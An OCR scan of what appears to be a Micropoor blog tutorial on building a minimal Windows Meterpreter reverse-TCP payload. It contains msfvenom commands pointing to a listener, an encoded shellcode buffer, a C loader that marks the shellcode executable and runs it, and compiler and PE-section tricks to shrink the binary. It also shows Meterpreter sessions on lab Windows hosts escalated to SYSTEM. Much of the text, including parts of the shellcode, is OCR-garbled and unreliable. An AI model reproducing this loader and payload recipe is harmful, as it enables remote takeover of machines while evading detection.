EIEAPTIE S
https://micropoor.blogspot.com/

it PEBRRKEERATT USSR  BNE.
FEXATHRIBHE. SIUEm. $ERE. IRCHEELSSHMUSHERSS.

ZEH : 192.168.1.5 Debian
UL . 192.168.1.4 Windows 7
192.168.1.119 Windows 2003

WEHECE -

payload : windows/meterpreter/reverse_tcp

I msf exploit(multi/handler) > show options
3 Module options (exploit/multi/handler):

5 Name Current Setting Required Description

13 EXITFUNC process yes Exit technique (Accepted: , seh, thread, proce

SS, none)

14 LHOST 192.168.1.5 yes The listen address (an interface may be specifi

15 LPORT 53 yes The listen port

18 Exploit target:

22 @ Wildcard Target


https://micropoor.blogspot.com/

msf exploit(multi/handler) > exploit
*] Started reverse TCP handler on 192.168.1.5:53
mef exploilt{multi/handler] = show options

Module options (exploit/multishandler):

Mame Current Setting Required De

Exit technique ed: '', seh, thread, proc none)
LHOST : 58.1.° ten addr an interface specified)

LPORT

Exploit target:
Id Mame

@ Wildcard Target

msf exploit{multishandler} = exploit

[*] Started reverse TCP handler on 182.168.1.5:53

payload4&ry;

root :/tmp# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.
168.1.5 LPORT=53 -b '\x00' -f exe > First.exe

[Rapayload K/ -
73802=FT5 , KHEE72KB

root :/tmp# du -sb First.exe
73802 First.exe

F—R{fkpayload :
=E\windows/meterpreter/reverse_tcp shellcode

root :/tmp# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.
168.1.5 LPORT=53 -b '\x00' -f c



2 [-] No platform was selected, choosing Msf::Module::Platform::Windows
from the payload

3 [-] No arch selected, selecting arch: x86 from the payload

4 Found 11 compatible encoders

5 Attempting to encode payload with 1 iterations of x86/shikata_ga_ nai
6 x86/shikata_ga_nai succeeded with size 368 (iteration=0)

7 x86/shikata_ga_nai chosen with final size 368

8 Payload size: 368 bytes

9 Final size of c file: 1571 bytes

10 unsigned char buf[] =

11 "\xd9\xc3\xba\xal\x43\xe5\x72\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
12 "\x56\x31\x55\x18\x03\x55\x18\x83\xc5\xa5\xal\x10\x8e\x4d\xa7"
13 "\xdb\x6f\x8d\xc8\x52\x8a\xbc\xc8\x01\xde\xee\xf8\x42\xb2\x02"
14 "\x72\x06\x27\x91\xf6\x8F\x48\x12\xbc\xe9\x67\xa3\xed\xca\xe6"
15 "\x27\xec\x1e\xc9\x16\x3F\x53\x08\x5f\x22\x9e\x58\x08\x28\x0d"
16 "\x4d\x3d\x64\x8e\xe6\x0d\x68\x96\x1b\xc5\x8b\xb7\x8d\x5e\xd2"
17 "\x17\x2f\xb3\x6e\x1le\x37\xd0\x4b\xe8\xcc\x22\x27\xeb\x04\x7b"
18 "\xc8\x40\x69\xb4\x3b\x98\xad\x72\xad\xef\xc7\x81\x59\xe8\x13"
19 "\xf8\x85\x7d\x80\x5a\x4d\x25\x6c\x5b\x82\xb0\xe7\x57\x6f\xb6"
20 "\xa0\x7b\x6e\x1b\xdb\x87\xfb\x9a\x0c\x0e\xbf\xb8\x88\x4b\x1b"
21 "\xa@\x89\x31\xca\xdd\xca\x9a\xb3\x7b\x80\x36\xa7\xf1\xcb\x5e"
22 "\x04\x38\xf4\x9e\x02\x4b\x87\xac\x8d\xe7\x0f\x9c\x46\x2e\xd7"
23 "\x95\x41\xd1\x07\x1d\x01\x2f\xa8\x5d\x0b\xf4\xfc\x0d\x23\xdd"
24 "\x7c\xc6\xb3\xe2\xa8\x72\xbe\x74\x93\x2a\xbf\x81\x7b\x28\xc0"
25 "\x89\x4e\xa5\x26\xd9\xe0\xe5\xf6\x9a\x50\x45\xa7\x72\xbb\x4a"
26 "\x98\x63\xc4\x81\xb1\x0e\x2b\x7f\xe9\xa6\xd2\xda\x61\x56\x1a"
27 "\XxF1\x0F\x58\x90\xF3\xfO\x17\x51\x76\xe3\x40\x06\x78\xfb\x90"
28 "\xa3\x78\x91\x94\x65\x2F\x0d\x97\x50\x07\x92\x68\xb7\x14\xd5"
29 "\x97\x46\x2c\xad\xae\xdc\x10\xd9\xce\x30\x90\x19\x99\x5a\x90"
30 "\x71\x7d\x3f\xc3\x64\x82\xea\x70\x35\x17\x15\x20\xe9\xbo\x7d"
31 "\xce\xd4\xf7\x21\x31\x33\x84\x26\xcd\xcl\xa3\x8e\xa5\x39\xf4"
32 "\x2e\x35\x50\xf4\x7e\x5d\xaf\xdb\x71\xad\x50\xf6\xd9\xa5\xdb"
33 "\x97\xa8\x54\xdb\xbd\x6d\xc8\xdc\x32\xb6\xfb\xa7\x3b\x49\xfc"
34 "\x57\x52\x2e\xfd\x57\x5a\x50\xc2\x81\x63\x26\x05\x12\xd0\x39"
35 "\x30\x37\x71\xdo\x3a\x6b\x81\xf1";



rootglohn: AAmpg m: nom -p windo : y :
[-1 Mo pl elected, choosing Msf: tFlatform: :Win from the p
[-] Mo ar . cting yload

shikata_ga_nai

u% C Til;

¥
éned char buf(] -

1

#27Micropoor_small_payload T#2 , BeBMT :

| FHE): [FEEE -] mEEEso... |

B ENR A
Windows SIE Mrae T.0
= SRR
FEIEF SR
Birits £ (ProjectHame)
BT BE . exe
T ERERRNT BE ¥, cdf; % cache;® obj ;% obj. enc;® 11lk;% 1pdb;* 1a0b3;
EEEEEEP-'F g[IntﬂlerBulld.PrujectheJ.lcug
FalEE ¥isual Studie 2017 - Tindows IF (vl4l_xp)
ERERE =

B mBHEAAE



el

-l ea®: [FERa - mEEEEo... |
BR=FSE
BRE| SR, T (Gm-)
BHE tH+ FE 2 [/EH=c)
| T =
e
=17l ZHE{E (ET) |
AR ERTT Hi=n
= =]z Era= i ATy R
FEhlmERiP
BRRE s 2 6y
BRFTHIER
BRiERESE FixH
pefut -l EE (fpprecize)
BEEFORE
BT AL
=iTE
EEIEITEL TS - (/NT, /MT4, /MD, /MDd)
RIS

1 # include <windows.h>
2 int main(void)
3 {

4 char *shellcode = (char*)"Micropoor shellcode";

6 DWORD Micropoor_shellcode;

7 BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
8 PAGE_EXECUTE_READWRITE, &Micropoor_shellcode);

9 if ('ret) {

10 return EXIT_FAILURE;

11}

12 ((void(*)(void))shellcode)();

13 return EXIT_SUCCESS;

14 }

[Rtashellcode_payload K/ :
7577615




@ IMicrupnnr_small_pa}flnad. axe

MR EARER exe)

i Micropoor_=mall payload. exe
i C:hUsershJohnhDesktop Micropoor_small pay
o] T4.0 KB (75, 776 =T1)

GEZ=E:  T78.0 KB (7T, 824 =3

itk -
FERHRIES | MR
o ffREE
o TREM
o K/
o HEEM
e HRNM

JEEE , BiiL/01
112

~| F5E): [FiaFEa > mEEEEo... |

{i ik A hEME (F01) =
MEEEEE FhAE

= T 2 (oi)

A EE 13T

ElhEE TRl

BRfETEML &

ERFML = (6L

TR , 5

B(C): [Release x| ®a®: [FEFEe x| mEEE

« BERET T FHEMARREL
] H Rk stdafe. b

% .
A FRE AR $ (TntDir)$ (Tar getHane). peh

4 CfCHt
i
ik
$RoMEEE
LR,

=5

TERALEE S



=IC: IRelease ﬂ EHIE): Iﬁﬁﬁzpﬁ j BEE

« BEREH , 5
=il AR R ARE T § (OutDir)§ TargetName) . pdb
ﬁﬁgi 4 B FEAR R i

b CiCH EIsHUEHFE
4 HiE A BRI 37 i =
?ﬁ RET T
i MEISE =
HE it ekl
ﬁﬁt Ejlﬁlfﬁil:iﬁ
i
k.
7oA 8 IDL
Yindows TrHriE

BHEMXAOR : execMicropoor_shellcode

| BE) [t =l #am: |[FErs -] mEEmEzo). |
f 4 EE#EEIL&L _ execlicropoor_shellcode ;I;
] ,%H%?'!t Foh O Fa
1 i =EtEH ES
YO+

E I c,‘c++Ei Hit
] 4 HiEsE FEHNLENL 2 [/ DTHAMICEASE)
[ = EEE4t
T i %ﬁgmﬁﬁ?ﬁ (DEF) 2 (/WLCOMEAT)

= XA, =

Fin NS 1L

fitdk; BuisPEREIRNERAY DL
. 50 f9 IIL ShE
: e A
' praaey EHFHEA CREHER |
[ i mE T =

b ERIE, . CLE L6724

BIRGmE

L AL L LU tiuua AEL T LUNPALEL UELALAE L0 USAULE L1 L0g LU LI U P EWluUs LUNpliAaLiull nas Luug,

LERARAERER

1#Micropoor_small payload wexproj —F C:\Users'John'DesktopiMicropoor_small paploadiMicropocr_small payloadiKeleaze'Micropoor_small payload. exs

ss=s==z=== SEPEIAR: RETH 1 4-» M 0 s Bkid 0 4 sss=======

payload AX/NOF :

4608=FT5
{5 C:\UsershJohnhDesktophMicropoor _small pay
o 4 50 KB (4,803 =35)

SFATE:  5.00 KB (3,182 Z=F)

FE—xEeinmit - S8 Windows 2003 , Windws 7 , reverse OK,



C=*Documents and Settings“Admin istr-atnr\%E)Hicrnpnnr_small_paylnad.exe

I msf exploit(multi/handler) > exploit

3 [*] Started reverse TCP handler on 192.168.1.5:53
4 [*] Sending stage (179779 bytes) to 192.168.1.119

5 [*] Meterpreter session 4 opened (192.168.1.5:53 ->
192.168.1.119:3887) at 2019-01-27 14:30:27 -0500

6

7 meterpreter > getuid

8 Server username: WIN@3X64\Administrator
9 meterpreter >

10
SR {Rtkpayload :

#APEID

PEPEiD v0. 95 =100 x|

. Settings‘Adninistrator ' SEWicropoor_small pavload exe| [

AOE: 00001 000 EF B} Ctext
JHERE: 00000400 BEFT: 55,88 EC, 51
ERREE: 1412 TEH:  Wind2 console

PEIDIDSCAN: |roda’ = Protector w1 02 [ dl1, . oex) —> Ashlhiz Danehls

EE#Rw®| | FRER | | fH |

[v] BERHE) | ®m@ | | =Fw | IEH

St v iR v & [ RORE| R R R |

Ctext Qooo1000  0o0oo01Te Q000040 Qo000z00 BO0000zD
.rdata Qao0z000 00000456 Q0000E0 Qa00o0aa0 40000040
.data Qa003000 00000324 Qa00oca Qa0aozao Co00o040
.I'Sre oooo4000 000001 Ed QOao0ED Q0000 40000040

.relaoc Qao0s000 000000684 a0010a0 Qa0aozao 42000040

&3tdata to text , rdata to text fTERERK.



it
STHLRE ) A - | ma

LAMLL MPULL _amall_payluad, YU . NAlAlillg LlaTedT. (40 . HALd Mesuuoo o FTTUS H =0T ITHT - MSah ouooe s
1Micropoor_small payload wexproj —» C:\UsershJTohn'\Desktop'Micropoor_small payload'Micropoor_small payloadiReleasze'S
1R RRINE “Mieropoor_small_payload. wexproj ™ BHR{E-

========== %E‘Bé#ﬁiﬁn E!Z]j] 1 -‘T“- N #:__mﬁ 1] -‘T“- N EjEl?_j 1] -‘T“- ==========

Section{LUITF :

R

I G \Documents and Settingshhdministrator W@ Wi cropoor_

pAnl-E 00001 364 EF £ Ctext
IR 00000Ted BFH: |35 8F, EC, 51
ERREE: 14,12 TEH:  Hind? console

FEiDDSCAN: proda’ = Frotector w1 .02 [ dl1, ocx) - Ashlthiz Danehls

(rmae ] [ me |

V] MR @) [(®mw | [ =Fw | B
PEED x
T v @ v & |k B | R =4 | & |
Ctext 00001000 00000TFC oo000400  0o000&00 EQ0000z0
cidata ooooz000  ooooo0102 ooo0oad0 00000200 40000040
.rsrce oooos000 000001 EQ ooooacoo  ooooo0z00 40000040

.relaoc Qo004000 00000084 Q000aEdD  0o00o0z00 42000040

payload X/NOTF :
4096F715

ful: C:WUsersh JohnDesktop'iMicropoor_=mall pay
LT 4.00 KB (4,096 =)
SEZEE:  4.00 EE 4,096 =3

/RN - SR Windows 2003 , Windws 7 , reverse OK,

WS TH — Bicropoor_small payload. exe

C:*Documents and Settings“Admin :i.stratur\%E)Hicrupuul‘_small_payluad -EXE

C:sDocuments and Settings“Admin istratnr\%E}Hicrnpnnr-_small_paylnad .BXE




1 msf exploit(multi/handler) > exploit
2

3 [*] Started reverse TCP handler on 192.168.1.5:53

14 [*] Sending stage (179779 bytes) to 192.168.1.119

5 [*] Meterpreter session 9 opened (192.168.1.5:53 ->
192.168.1.119:3891) at 2019-01-27 14:46:20 -0500

6

7 meterpreter > getuid

8 Server username: WIN@3X64\Administrator

9 meterpreter > getpid

10 Current pid: 1232
11

=R{fiftpayload :

f£00000E60F 22 B AZB2000h , FEiE#A00 , ER4ERKpayload,

000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, OOOh,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00O,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00O,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00O,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,



CACALFEACAL. F CAm| LALF LFTT AFALF AFTT O AFLF AFCT  CAEF  TFEF  CFEF L TF LFEF TR KRLF  CREF  CFEF  CRELF

BEOOBEGH | eI TRl s pils] A8 B0 GA GG 86 68 80 48
BOBABETYO:| B0 B0 60 B0 A0 B0 068 B0 069 B0 O0A A0 B0 68 A0 A8
BOBOBESA:| B0 B9 60 B0 A0 B0 068 B0 69 B0 O0A A0 B0 68 A0 A8
BOBABE?A:-( B0 B0 60 B0 A0 B0 068 B0 69 B0 OA A0 B0 68 A0 @8
BOBABEAG:| B0 B0 60 B0 A0 B0 068 B0 069 B0 OA A0 B0 68 80 A8
HO0OBEBA:| B0 B0 60 B0 A0 B0 068 B0 069 B0 O0A A0 B0 68 A0 A8
BOBABECH:| B0 B9 60 B0 A0 B0 068 B0 69 B0 O0A A0 B0 68 80 @8
BOBABEDA:| B0 B0 60 B0 A0 B0 68 B0 069 B0 0A A0 B0 68 A0 A8
HOBOBEEQ:| B0 B9 60 B0 A0 B0 068 B0 069 B0 O0A A0 B0 68 80 @8
HOBOBEFA:( B0 B0 60 B0 A0 B0 068 B0 069 B0 O0A A0 B0 68 80 A8
BO0OBFB0:( B0 B9 60 B0 A0 B0 068 B0 069 B0 O6A A0 B0 68 A0 A8
BO00BF16:( B0 B0 60 60 00 B0 68 B0 60 60 00 OO B0 68 A0 A8
BO00BF20:( B0 B0 60 B0 0O B0 68 B0 60 60 00 OO B0 68 A0 68
BO00BF306:( B0 B0 60 60 00 B0 68 B0 60 60 00 OO B0 68 A0 68
BO00BF4B:( B0 B0 60 B0 OO0 B0 68 B0 60 60 00 OO B0 68 A0 A8
BO00BFS6:( B0 B0 60 60 00 B0 68 B0 60 60 00 OO B0 68 A0 A8
BO0OBF60G:( B0 B0 60 B0 OO0 B0 69 B0 60 B0 00 OO B0 68 A0 A8
BO0OBF70:( B0 B0 60 B0 OO0 00 68 B0 60 60 00 OO B0 68 A0 A8
BO0OBF80:( B0 B0 60 B0 OO0 B0 68 B0 60 60 00 OO B0 68 A0 A8
BO0OBFO06:( B0 B0 60 B0 00 B0 69 B0 60 60 00 OO B0 68 A0 A8
BO0OBFAG:| B0 B0 60 B0 OO0 B0 68 B0 60 B0 G0 OO B0 68 A0 A8
AO0OBFEO:| B0 B0 60 OO0 00 00 69 B0 60 60 00 OO B0 68 A0 A8
BO0OBFCA:z| B0 B0 60 B0 00 B0 69 B0 60 B0 00 OO B0 68 A0 A8
BO0ABFDA:-( B0 B0 60 OO0 OO0 B0 68 B0 60 60 00 OO B0 68 A0 A8
BO0OBFEG:| B0 B0 60 B0 00 00 69 B0 60 60 00 OO B0 68 A0 A8
BO0OBFFO:( B0 B0 60 B0 00 B0 68 B0 60 60 00 OO0 B0 68 A0 A8

payload X/NOT :

3174=F1
e C:\Documents and Settings"xﬁ;dministratnr"xﬁ
el 3.09 KB (3,174 )

HHEEE: 4.00 KB 4, 098 FH)

=REEHLMEE - 9 BIMEEWindows 2003 , Windws 7, reverse OK,
HEEERRFITITERAN . /MT

EFiziTifeE ZhAE
=TE ZHFE /ET)
ARk T MRS

cr TR/ — Micropoor_small_payload exe

C:sDocuments and Settings\HdministPatuP\ﬁ%Eﬁ)ﬂicrupuur_small_payluad.exe

C:sDocuments and Settings\HdministPatuP\ﬁ%Eﬁ)ﬂicrupuur_small_payluad.exe

C:sDocuments and Settings\HdministPatuP\ﬁ%Eﬁ)ﬂicrupuur_small_payluad.exe

1 msf exploit(multi/handler) > exploit

3 [*] Started reverse TCP handler on 192.168.1.5:53



I [*] Sending stage (179779 bytes) to 192.168.1.119

5 [*] Meterpreter session 11 opened (192.168.1.5:53 -> 192.168.1.119:389
4) at 2019-01-27 14:56:30 -0500

7 meterpreter > getuid

Server username: WINO3X64\Administrator

9 meterpreter > getpid

10 Current pid: 3152

Il meterpreter > getsystem

12 got system via technique 1 (Named Pipe Impersonation (In Memory/Adn
in

13 meterpreter > getuid

14 Server username: NT AUTHORITY\SYSTEM

explolit{multishandler) = exploit
Started reverse P handler on

} -» 162,168.1.119:3894) at 2019-01-27 14:56:30 -0500

meterpret

Current pid

MAHRRIBIZIRIAL , ZIRER , ERERBOLHITR. JBRIEZIRISLHIZSR |, 75776
FIUMEIBL747F75 |, FRAIZF , SBEIUL.

e  Micropoor



